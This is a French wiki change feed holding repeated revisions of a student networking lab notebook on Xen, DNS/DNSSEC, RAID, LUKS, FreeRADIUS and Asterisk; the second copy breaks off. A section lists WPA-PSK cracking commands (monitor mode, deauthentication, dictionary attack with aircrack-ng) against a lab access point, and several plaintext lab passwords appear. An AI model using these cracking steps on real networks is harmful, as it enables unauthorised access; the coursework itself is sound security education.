P42 Dispositif à retour tactile

2017-01-10T18:12:24Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T18:08:46Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T18:08:36Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T18:08:21Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T18:07:56Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T18:07:26Z

Pfitouss : /* Avancé du travail */

Fichier:Rotation propre.mp4

2017-01-10T18:05:23Z

Pfitouss :

Fichier:Ligne numero 6.png

2017-01-10T18:05:09Z

Pfitouss :

Fichier:Ligne numero 1.png

2017-01-10T18:04:16Z

Pfitouss :

P42 Dispositif à retour tactile

2017-01-10T17:51:19Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T17:50:30Z

Pfitouss :

P42 Dispositif à retour tactile

2017-01-10T12:55:43Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T12:50:34Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T12:39:47Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T12:37:00Z

Pfitouss : /* Avancé du travail */

P42 Dispositif à retour tactile

2017-01-10T12:22:11Z

Pfitouss : /* Cahier des charges */

P42 Dispositif à retour tactile

2017-01-10T12:21:34Z

Pfitouss : /* Cahier des charges */

Cahier 2016 groupe n°1

2017-01-07T18:59:55Z

Pfitouss : /* 6.2 Cryptage carte SD */

=Séance 1 : Configuration du Bonding=

Pour la première séance nous avons installé ifenslave 2.6 sur le serveur et ajout d'un alias pour que le module bond soit activé avec les bonnes options :

alias bond0 bonding
options bonding mode=1 miimon=100 downdelay=200 updelay=200

Nous avons aussi configuré le fichier /etc/network/interfaces
en y incluant la configuration des différentes interfaces : eth100, eth101 ainsi que la configuration du bridge: br0 et du bonding: bond0.

#Bonding IMA5sc
#auto eth100
#iface eth0 inet manual
# bond-master bond0
# bond-primary eth100 eth101
# bond-mode 5

#auto eth101
#iface eth1 inet manual
# bond-master bond0
# bond-primary eth100 eth101
# bond-mode 5

#auto bond0
#iface bond0 inet dhcp
# pre-up modprobe bonding
# pre-up ifconfig bond0 up
# pre-up /sbin/ifenslave bond0 eth100 eth101
# down sbin/ifenslave -d bond0 eth100 eth101
# bonds-slaves none
#
#auto br0
#iface br0 inet dhcp
# bridge-ports bond0

=Séance 2 : Installation de la machine virtuelle=

Installation de la machine virtuelle sur le serveur cordouan:

root@cordouan:/usr/local/xen/domains# xen-create-image --hostname=Frotteman --ip=193.48.57.161 --netmask=255.255.255.240 --gateway=193.48.57.171 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --password=glopglop

WARNING
-------

You appear to have a missing vif-script, or network-script, in the
Xen configuration file /etc/xen/xend-config.sxp.

Please fix this and restart Xend, or your guests will not be able
to use any networking!

General Information
--------------------
Hostname : Frotteman
Distribution : jessie
Mirror : http://debian.polytech-lille.fr/debian/
Partitions : swap 128M (swap)
/ 4G (ext3)
Image type : sparse
Memory size : 128M
Kernel path : /boot/vmlinuz-3.14-2-amd64
Initrd path : /boot/initrd.img-3.14-2-amd64

Networking Information
----------------------
IP Address 1 : 193.48.57.161 [MAC: 00:16:3E:F4:F8:CE]
Netmask : 255.255.255.240
Gateway : 193.48.57.171

Creating partition image: /usr/local/xen/domains/Frotteman/swap.img
Done

Creating swap on /usr/local/xen/domains/Frotteman/swap.img
Done

Creating partition image: /usr/local/xen/domains/Frotteman/disk.img
Done

Creating ext3 filesystem on /usr/local/xen/domains/Frotteman/disk.img
Done
Installation method: debootstrap
Done

Running hooks
Done

No role scripts were specified. Skipping

Creating Xen configuration file
Done

No role scripts were specified. Skipping
Setting up root password
Generating a password for the new guest.
All done

Logfile produced at:
/var/log/xen-tools/Frotteman.log

Installation Summary
---------------------
Hostname : Frotteman
Distribution : jessie
MAC Address : 00:16:3E:F4:F8:CE
IP Address(es) : 193.48.57.161
RSA Fingerprint : 37:3f:a5:4a:6d:05:15:3d:55:44:e3:0b:7f:81:91:a2
Root Password : fsBsiSE4

=Séance3 : Volumes logiques=

Création des partitions logiques pour la machine virtuelle.

lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-home -v
lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-var -v

Ajouts des partitions à la configuration de la machine virtuelle.
'phy:/dev/virtual/ima5-Frotteman-home,xvdb,w',
'phy:/dev/virtual/ima5-Frotteman-var,xvdc, w',

=Séance4=

Commande pour démarrer la VM lorsqu'elle est totalement éteinte :

xl create -c /etc/xen/Frotteman.cfg

Nom de domaine réservé sur gandi.net

faispastomberlasavo.net

=Séance5 : DNS=

Installation de bind9 sur la VM xen.

Modification du fichier /etc/bind/named.conf.local

zone "faispastomberlasavo.net" {
type master;
file "/etc/bind/db.faispastomberlasavo.net";
allow-transfer { 217.70.177.40; };
};

Créez le fichier de zone /etc/bind/db.faispastomberlasavo.net

TTL 604800
@ IN SOA ns.faispastomberlasavo.net. root.faispastomberlasavo.net. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns6.gandi.net.
@ IN NS ns.faispastomberlasavo.net.
ns IN A 193.48.57.161
www IN A 193.48.57.161
@ IN A 193.48.57.161

Redémarrer bind

/etc/init.d/bind9 restart

Changez la configuration des serveurs du domaine Gandi
DNS1: ns.faispastomberlasavo.net
DNS2: ns6.gandi.net

Commande:
nslookup www.faispastomberlasavo.net

Résultat:
Server: 193.48.57.161
Address: 193.48.57.161#53

Name: www.faispastomberlasavo.net
Address: 193.48.57.161

=Séance6 : Sécurisation & Certification=
commande pour générer certificat SSL

openssl req -nodes -newkey rsa:2048 -sha1 -keyout faispas.key -out faispas.csr
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:faispastomberlasavo.net
Email Address []:cedricduval94@gmail.com

On ajoute le contenu du fichier serveur.csr dans gandi

On ajoute les fichiers à notre config :

cp faispas.crt GandiStandardSSLCA2.pem /etc/ssl/certs/
cp faispas.key /etc/ssl/private/

root@Frotteman:~# c_rehash /etc/ssl/certs
Doing /etc/ssl/certs
GandiStandardSSLCA2.pem => 8544bf03.0
GandiStandardSSLCA2.pem => e279a80b.0
faispas.crt => 82591bcd.0
faispas.crt => a73fda57.0

DNSSEC

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE faispastomberlasavo.net

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE faispastomberlasavo.net

$include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-ksk.key
$include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-zsk.key

/etc/bind/faispastomberlasavo.net.dnssec# dnssec-signzone -o faispastomberlasavo.net -k faispastomberlasavo.net-ksk ../db. faispastomberlasavo.net faispastomberlasavo.net-zsk

Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.faispastomberlasavo.net.signed

root@Frotteman:/etc/bind# dig DNSKEY faispastomberlasavo.net @localhost

; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY faispastomberlasavo.net @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10598
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;faispastomberlasavo.net. IN DNSKEY

;; ANSWER SECTION:
faispastomberlasavo.net. 604800 IN DNSKEY 257 3 5 AwEAAa3Js66YHVQrw4q+4IKA71lRK9AXWznEZyoxVCxr0SSYx+TFUXxh VTbjq1H8aYjwUa1UyuFsHUC72wJcTNCo0DNOX6Qcek/Y9O30x8xnXRdB OsNFLhnc5v4b5mLTGLswS3GpBCgP8+xSj4LmZPrLZneVom5Q2xCl40KT b5WdpMXXmPjaPOk24gdr5QYzZxrSIqmbEjp2DPaCZiAqPJ8hvvqPFQ+Q Bq53a5/ra3PfN1uo0B2WzeGN0nsb3QDLAREmuovHxSJjm23Yv7rcU8eb txBuOPkbgyES/ybN0uWvW3hiHipXeMCa+yRywnle2Ea56k6w4bcPNta3 8qeF3KwqszE=
faispastomberlasavo.net. 604800 IN DNSKEY 256 3 5 AwEAAe+I1C2IYzY323K1HXia8curPC+ZduRAiXpsYMdBRyTQOpxTf0zf ulFh42UOPhRCrYm3CZkOesUjhbS0Z3WVzy6u/RHJDRKiqNUbpnBN8jQf mmhIx8FJU3Kcu5st+T6cRWOEoCQIS6tOM31u5I4NKrhXZamDiV361YTQ nJrJNT//

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Mon Nov 28 17:05:19 CET 2016
;; MSG SIZE rcvd: 476

==Crack clé WPA/PSK==

Tout d'abord il faut passer l'interface réseau en mode "Monitor".

airmon-ng start wlan1

Nous pouvons détecter les hotspots grâce à l'utilitaire airodump-ng

airodump-ng --encrypt wpa mon0

Nous voulions trouvé la clé de "cracotte01", nous avons donc filtré pour le bssid "04:DA:D2:9C:50:50"

airodump-ng -w out --bssid 04:DA:D2:9C:50:50 mon0
aireplay-ng -0 0 -a 04:DA:D2:9C:50:50

Nous avons créer notre dictionnaire de la façon suivante

crunch 8 8 0123456789 -o dico.txt

Que nous avons tester sur une Zabeth par soucis de rapidité

aircrack-ng -w dico.txt out-01.cap

Qui nous a donné le résultat suivant

[[Fichier:Aircrack_screen.png|500px|thumb|center]]

==Travail à Réalisé==
===6.1 Raid===

Tout d'abord il a fallu créer les disques virtuels avec ''lvcreate'' :
lvcreate -L 1G -n /dev/virtual/Frotteman-raid1 -v
lvcreate -L 1G -n /dev/virtual/Frotteman-raid2 -v
lvcreate -L 1G -n /dev/virtual/Frotteman-raid3 -v

Puis il faut rajouter à la config ''/etc/xen/Frotteman.cfg'' :

'phy:/dev/virtual/Frotteman-raid1,xvdd1, w',
'phy:/dev/virtual/Frotteman-raid2,xvdd2, w',
'phy:/dev/virtual/Frotteman-raid3,xvdd3, w',

Une fois ceci fait on redémarre la VM et on installe ''mdadm'' :

apt-get install mdadm

On met à jour les modules du kernel (enfin je crois) :

apt-get install linux-image.3.16.0-4-amd64

Il ne nous reste plus qu'à créer notre disque RAID5 ''md0'' :

mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3

Nous installons un système de fichier ''ext4'' dessus:

mkfs -t ext4 /dev/md0

Nous pouvons maintenant le monter :

mount /dev/md0 /mnt

Pour tester nous avons copié en partie le dossier /lib dans /mnt.
Nous commentons une ligne du fichier /etc/xen/Frotteman.cfg

#'phy:/dev/virtual/Frotteman-raid2,xvdd2, x',

Puis nous observons les différents résultats via ''fdisk'' :

fdisk -l

Disk /dev/xvdd1: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/xvdd3: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes

On observe l'absence du disque xvdd2 mais nous avons en revanche toutes nos données sur /mnt

root@Frotteman:~# ls /mnt/lib
ifupdown libipq.so.0.0.0 startpar
init libiptc.so.0 systemd
klibc-IpHGKKbZiB_yZ7GPagmQz2GwVAQ.so libiptc.so.0.0.0 terminfo
libip4tc.so.0 libxtables.so.10 udev
libip4tc.so.0.1.0 libxtables.so.10.0.0 x86_64-linux-gnu
libip6tc.so.0 lsb xtables
libip6tc.so.0.1.0 modprobe.d
libipq.so.0 modules

Nous avons même été prévenu via mail par mdadm, c'est bo l'info !!

From root@faispastomberlasavo.net Wed Dec 7 17:06:00 2016
X-Original-To: root
From: mdadm monitoring <root@faispastomberlasavo.net>
To: root@faispastomberlasavo.net
Subject: DegradedArray event on /dev/md0:Frotteman
Date: Wed, 7 Dec 2016 17:05:56 +0100 (CET)

This is an automatically generated mail message from mdadm
running on Frotteman

A DegradedArray event had been detected on md device /dev/md0.

Faithfully yours, etc.

P.S. The /proc/mdstat file currently contains the following:

Personalities : [raid6] [raid5] [raid4]
md0 : active (auto-read-only) raid5 xvdd1[0] xvdd3[2]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]

unused devices: <none>

===6.2 Cryptage carte SD===
Pour crypter les données présente sur un support de stockage nous utiliserons Gparted et CryptSetup

cryptsetup luksFormat -c eas -h sha256 /dev/mmcblk1

On rentre notre phrase secrète.

Optionel : On peut afficher l'état du conteneur grâce à la commande :

cryptsetup luksDump /dev/mmcblk1

On peut désormais ouvrir notre volume appelé "frotteman", il nous faudra ensuite renseigner la clé secrète :

cryptsetup luksOpen /dev/mmcblk1 frotteman

On peut désormais formater le volume en ext3

mkfs.ext3 /dev/mapper/frotteman

Et finalement monter/demonter le volume :

mount /dev/mapper/frotteman /mnt/
umount /mnt

Et également fermé le volume chiffré :

cryptsetup luksClose frotteman

===6.6 Securasition Wifi par WPA2-EAP===

default_eap_type = peap

Puis nous avons eu à configurer nos points d'accès wifi au sein du fichier clients.conf, voici à quoi ressemble la configuration d'un des points :

client E306{
ipaddr = 10.60.1.2
secret = password
}

Pour finir il ne restait plus qu'a créer un utilisateur pour ce serveur d'authentification, pour cela nous avons ajouté la ligne suivante dans le fichier users.

frotteman Cleartext-Password := "youpi"

Une fois cette configuration réalisée nous avons lancé notre serveur FreeRADIUS.
Configuration des bornes Wi-Fi

Par la suite nous avons réalisé la configuration des bornes Wi-Fi afin d'avoir notre accès sécurisé avec notre serveur FreeRADIUS. La configuation est réalisée en tapant les commandes suivantes après s'être connecté à la borne via telnet :

conf t

aaa new-model
aaa authentication login eap_frotteman group radius_frotteman
radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key password
aaa group server radius radius_frotteman
server 193.48.57.161 auth-port 1812 acct-port 1813

exit

dot11 ssid SSID_FROTTEMAN
vlan 2
authentication open eap eap_frotteman
authentication network-eap eap_frotteman
authentication key-management wpa
mbssid guest-mode

exit

interface Dot11Radio0
encryption vlan 2 mode ciphers aes-ccm tkip
ssid SSID_FROTTEMAN

exit

interface Dot11Radio0.2
encapsulation dot1Q 2
no ip route-cache
bridge-group 2
bridge-group 2 subscriber-loop-control
bridge-group 2 spanning-disabled
bridge-group 2 block-unknown-source
no bridge-group 2 source-learning
no bridge-group 2 unicast-flooding

exit

interface GigabitEthernet0.2
encapsulation dot1Q 2
bridge-group 2

exit

exit

===6.8.1 DHCP===
On installe un server DHCP sur l'eeePC :

apt-get install isc-dhcp-server

On configure le fichier /etc/dhcp/dhcpd.conf :

option domain-name "faispastomberlasavo.net";
option domain-name-servers 193.48.57.161;

subnet 10.60.2.0 netmask 255.255.255.0 {
range 10.60.2.50 10.60.2.100;
option routers 10.60.6.1;
}

Il ne nous reste plus qu'a indiqué notre interface réseau dans le fichier /etc/dhcp/isc-dhcp-server

===6.8.2 PCBx===

On installe asterisk
apt-get install asterisk

On modifie le fichier /etc/asterisk/sip.conf afin de créer 2 utilisateurs 666 & 665:

[general]
hasvoicemail=yes
hassip=yes
hasiax=yes
callwaiting=yes
threewaycalling=yes
callwaitingcallerid=yes
transfer=yes
canpark=yes
cancallforward=yes
callreturn=yes
callgroup=1
pickupgroup=1
nat=yes

[666]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=Cduval
username=cduval
secret=glopglop
context=work

[665]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=Pfitouss
username=pfitouss
secret=glopglop
context=work

Nous pouvons donc constater que le communication est réussi
Frotteman*CLI> sip show peers
Name/username Host Dyn Forcerport Comedia ACL Port Status Description
665/pfitouss (Unspecified) D Auto (No) No 0 Unmonitored
666/cduval (Unspecified) D Auto (No) No 0 Unmonitored
2 sip peers [Monitored: 0 online, 0 offline Unmonitored: 0 online, 2 offline]
-- Registered SIP '665' at 10.60.2.100:38862
[Jan 6 16:10:49] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665
-- Registered SIP '666' at 10.60.2.101:35192
[Jan 6 16:12:06] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 666
[Jan 6 16:12:14] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665
== Using SIP RTP CoS mark 5
-- Executing [666@work:1] Dial("SIP/665-00000000", "SIP/666,20") in new stack
== Using SIP RTP CoS mark 5
-- Called SIP/666
-- SIP/666-00000001 is ringing
-- SIP/666-00000001 answered SIP/665-00000000
-- Remotely bridging SIP/665-00000000 and SIP/666-00000001
== Spawn extension (work, 666, 1) exited non-zero on 'SIP/665-00000000'
Frotteman*CLI>

Cahier 2016 groupe n°1

2017-01-07T18:59:01Z

Pfitouss : /* 6.8 DHCP & PCBx */

=Séance 1 : Configuration du Bonding=

Pour la première séance nous avons installé ifenslave 2.6 sur le serveur et ajout d'un alias pour que le module bond soit activé avec les bonnes options :

alias bond0 bonding
options bonding mode=1 miimon=100 downdelay=200 updelay=200

Nous avons aussi configuré le fichier /etc/network/interfaces
en y incluant la configuration des différentes interfaces : eth100, eth101 ainsi que la configuration du bridge: br0 et du bonding: bond0.

#Bonding IMA5sc
#auto eth100
#iface eth0 inet manual
# bond-master bond0
# bond-primary eth100 eth101
# bond-mode 5

#auto eth101
#iface eth1 inet manual
# bond-master bond0
# bond-primary eth100 eth101
# bond-mode 5

#auto bond0
#iface bond0 inet dhcp
# pre-up modprobe bonding
# pre-up ifconfig bond0 up
# pre-up /sbin/ifenslave bond0 eth100 eth101
# down sbin/ifenslave -d bond0 eth100 eth101
# bonds-slaves none
#
#auto br0
#iface br0 inet dhcp
# bridge-ports bond0

=Séance 2 : Installation de la machine virtuelle=

Installation de la machine virtuelle sur le serveur cordouan:

root@cordouan:/usr/local/xen/domains# xen-create-image --hostname=Frotteman --ip=193.48.57.161 --netmask=255.255.255.240 --gateway=193.48.57.171 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --password=glopglop

WARNING
-------

You appear to have a missing vif-script, or network-script, in the
Xen configuration file /etc/xen/xend-config.sxp.

Please fix this and restart Xend, or your guests will not be able
to use any networking!

General Information
--------------------
Hostname : Frotteman
Distribution : jessie
Mirror : http://debian.polytech-lille.fr/debian/
Partitions : swap 128M (swap)
/ 4G (ext3)
Image type : sparse
Memory size : 128M
Kernel path : /boot/vmlinuz-3.14-2-amd64
Initrd path : /boot/initrd.img-3.14-2-amd64

Networking Information
----------------------
IP Address 1 : 193.48.57.161 [MAC: 00:16:3E:F4:F8:CE]
Netmask : 255.255.255.240
Gateway : 193.48.57.171

Creating partition image: /usr/local/xen/domains/Frotteman/swap.img
Done

Creating swap on /usr/local/xen/domains/Frotteman/swap.img
Done

Creating partition image: /usr/local/xen/domains/Frotteman/disk.img
Done

Creating ext3 filesystem on /usr/local/xen/domains/Frotteman/disk.img
Done
Installation method: debootstrap
Done

Running hooks
Done

No role scripts were specified. Skipping

Creating Xen configuration file
Done

No role scripts were specified. Skipping
Setting up root password
Generating a password for the new guest.
All done

Logfile produced at:
/var/log/xen-tools/Frotteman.log

Installation Summary
---------------------
Hostname : Frotteman
Distribution : jessie
MAC Address : 00:16:3E:F4:F8:CE
IP Address(es) : 193.48.57.161
RSA Fingerprint : 37:3f:a5:4a:6d:05:15:3d:55:44:e3:0b:7f:81:91:a2
Root Password : fsBsiSE4

=Séance3 : Volumes logiques=

Création des partitions logiques pour la machine virtuelle.

lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-home -v
lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-var -v

Ajouts des partitions à la configuration de la machine virtuelle.
'phy:/dev/virtual/ima5-Frotteman-home,xvdb,w',
'phy:/dev/virtual/ima5-Frotteman-var,xvdc, w',

=Séance4=

Commande pour démarrer la VM lorsqu'elle est totalement éteinte :

xl create -c /etc/xen/Frotteman.cfg

Nom de domaine réservé sur gandi.net

faispastomberlasavo.net

=Séance5 : DNS=

Installation de bind9 sur la VM xen.

Modification du fichier /etc/bind/named.conf.local

zone "faispastomberlasavo.net" {
type master;
file "/etc/bind/db.faispastomberlasavo.net";
allow-transfer { 217.70.177.40; };
};

Créez le fichier de zone /etc/bind/db.faispastomberlasavo.net

TTL 604800
@ IN SOA ns.faispastomberlasavo.net. root.faispastomberlasavo.net. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns6.gandi.net.
@ IN NS ns.faispastomberlasavo.net.
ns IN A 193.48.57.161
www IN A 193.48.57.161
@ IN A 193.48.57.161

Redémarrer bind

/etc/init.d/bind9 restart

Changez la configuration des serveurs du domaine Gandi
DNS1: ns.faispastomberlasavo.net
DNS2: ns6.gandi.net

Commande:
nslookup www.faispastomberlasavo.net

Résultat:
Server: 193.48.57.161
Address: 193.48.57.161#53

Name: www.faispastomberlasavo.net
Address: 193.48.57.161

=Séance6 : Sécurisation & Certification=
commande pour générer certificat SSL

openssl req -nodes -newkey rsa:2048 -sha1 -keyout faispas.key -out faispas.csr
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:faispastomberlasavo.net
Email Address []:cedricduval94@gmail.com

On ajoute le contenu du fichier serveur.csr dans gandi

On ajoute les fichiers à notre config :

cp faispas.crt GandiStandardSSLCA2.pem /etc/ssl/certs/
cp faispas.key /etc/ssl/private/

root@Frotteman:~# c_rehash /etc/ssl/certs
Doing /etc/ssl/certs
GandiStandardSSLCA2.pem => 8544bf03.0
GandiStandardSSLCA2.pem => e279a80b.0
faispas.crt => 82591bcd.0
faispas.crt => a73fda57.0

DNSSEC

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE faispastomberlasavo.net

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE faispastomberlasavo.net

$include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-ksk.key
$include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-zsk.key

/etc/bind/faispastomberlasavo.net.dnssec# dnssec-signzone -o faispastomberlasavo.net -k faispastomberlasavo.net-ksk ../db. faispastomberlasavo.net faispastomberlasavo.net-zsk

Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.faispastomberlasavo.net.signed

root@Frotteman:/etc/bind# dig DNSKEY faispastomberlasavo.net @localhost

; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY faispastomberlasavo.net @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10598
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;faispastomberlasavo.net. IN DNSKEY

;; ANSWER SECTION:
faispastomberlasavo.net. 604800 IN DNSKEY 257 3 5 AwEAAa3Js66YHVQrw4q+4IKA71lRK9AXWznEZyoxVCxr0SSYx+TFUXxh VTbjq1H8aYjwUa1UyuFsHUC72wJcTNCo0DNOX6Qcek/Y9O30x8xnXRdB OsNFLhnc5v4b5mLTGLswS3GpBCgP8+xSj4LmZPrLZneVom5Q2xCl40KT b5WdpMXXmPjaPOk24gdr5QYzZxrSIqmbEjp2DPaCZiAqPJ8hvvqPFQ+Q Bq53a5/ra3PfN1uo0B2WzeGN0nsb3QDLAREmuovHxSJjm23Yv7rcU8eb txBuOPkbgyES/ybN0uWvW3hiHipXeMCa+yRywnle2Ea56k6w4bcPNta3 8qeF3KwqszE=
faispastomberlasavo.net. 604800 IN DNSKEY 256 3 5 AwEAAe+I1C2IYzY323K1HXia8curPC+ZduRAiXpsYMdBRyTQOpxTf0zf ulFh42UOPhRCrYm3CZkOesUjhbS0Z3WVzy6u/RHJDRKiqNUbpnBN8jQf mmhIx8FJU3Kcu5st+T6cRWOEoCQIS6tOM31u5I4NKrhXZamDiV361YTQ nJrJNT//

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Mon Nov 28 17:05:19 CET 2016
;; MSG SIZE rcvd: 476

==Crack clé WPA/PSK==

Tout d'abord il faut passer l'interface réseau en mode "Monitor".

airmon-ng start wlan1

Nous pouvons détecter les hotspots grâce à l'utilitaire airodump-ng

airodump-ng --encrypt wpa mon0

Nous voulions trouvé la clé de "cracotte01", nous avons donc filtré pour le bssid "04:DA:D2:9C:50:50"

airodump-ng -w out --bssid 04:DA:D2:9C:50:50 mon0
aireplay-ng -0 0 -a 04:DA:D2:9C:50:50

Nous avons créer notre dictionnaire de la façon suivante

crunch 8 8 0123456789 -o dico.txt

Que nous avons tester sur une Zabeth par soucis de rapidité

aircrack-ng -w dico.txt out-01.cap

Qui nous a donné le résultat suivant

[[Fichier:Aircrack_screen.png|500px|thumb|center]]

==Travail à Réalisé==
===6.1 Raid===

Tout d'abord il a fallu créer les disques virtuels avec ''lvcreate'' :
lvcreate -L 1G -n /dev/virtual/Frotteman-raid1 -v
lvcreate -L 1G -n /dev/virtual/Frotteman-raid2 -v
lvcreate -L 1G -n /dev/virtual/Frotteman-raid3 -v

Puis il faut rajouter à la config ''/etc/xen/Frotteman.cfg'' :

'phy:/dev/virtual/Frotteman-raid1,xvdd1, w',
'phy:/dev/virtual/Frotteman-raid2,xvdd2, w',
'phy:/dev/virtual/Frotteman-raid3,xvdd3, w',

Une fois ceci fait on redémarre la VM et on installe ''mdadm'' :

apt-get install mdadm

On met à jour les modules du kernel (enfin je crois) :

apt-get install linux-image.3.16.0-4-amd64

Il ne nous reste plus qu'à créer notre disque RAID5 ''md0'' :

mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3

Nous installons un système de fichier ''ext4'' dessus:

mkfs -t ext4 /dev/md0

Nous pouvons maintenant le monter :

mount /dev/md0 /mnt

Pour tester nous avons copié en partie le dossier /lib dans /mnt.
Nous commentons une ligne du fichier /etc/xen/Frotteman.cfg

#'phy:/dev/virtual/Frotteman-raid2,xvdd2, x',

Puis nous observons les différents résultats via ''fdisk'' :

fdisk -l

Disk /dev/xvdd1: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/xvdd3: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes

On observe l'absence du disque xvdd2 mais nous avons en revanche toutes nos données sur /mnt

root@Frotteman:~# ls /mnt/lib
ifupdown libipq.so.0.0.0 startpar
init libiptc.so.0 systemd
klibc-IpHGKKbZiB_yZ7GPagmQz2GwVAQ.so libiptc.so.0.0.0 terminfo
libip4tc.so.0 libxtables.so.10 udev
libip4tc.so.0.1.0 libxtables.so.10.0.0 x86_64-linux-gnu
libip6tc.so.0 lsb xtables
libip6tc.so.0.1.0 modprobe.d
libipq.so.0 modules

Nous avons même été prévenu via mail par mdadm, c'est bo l'info !!

From root@faispastomberlasavo.net Wed Dec 7 17:06:00 2016
X-Original-To: root
From: mdadm monitoring <root@faispastomberlasavo.net>
To: root@faispastomberlasavo.net
Subject: DegradedArray event on /dev/md0:Frotteman
Date: Wed, 7 Dec 2016 17:05:56 +0100 (CET)

This is an automatically generated mail message from mdadm
running on Frotteman

A DegradedArray event had been detected on md device /dev/md0.

Faithfully yours, etc.

P.S. The /proc/mdstat file currently contains the following:

Personalities : [raid6] [raid5] [raid4]
md0 : active (auto-read-only) raid5 xvdd1[0] xvdd3[2]
2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]

unused devices: <none>

===6.2 Cryptage carte SD===
Pour crypter les données présente sur un support de stockage nous utiliserons Gparted et CryptSetup

cryptsetup luksFormat -c eas -h sha256 /dev/mmcblk1

On rentre notre phrase secrète.

Optionel : On peut afficher l'état du conteneur grâce à la commande :

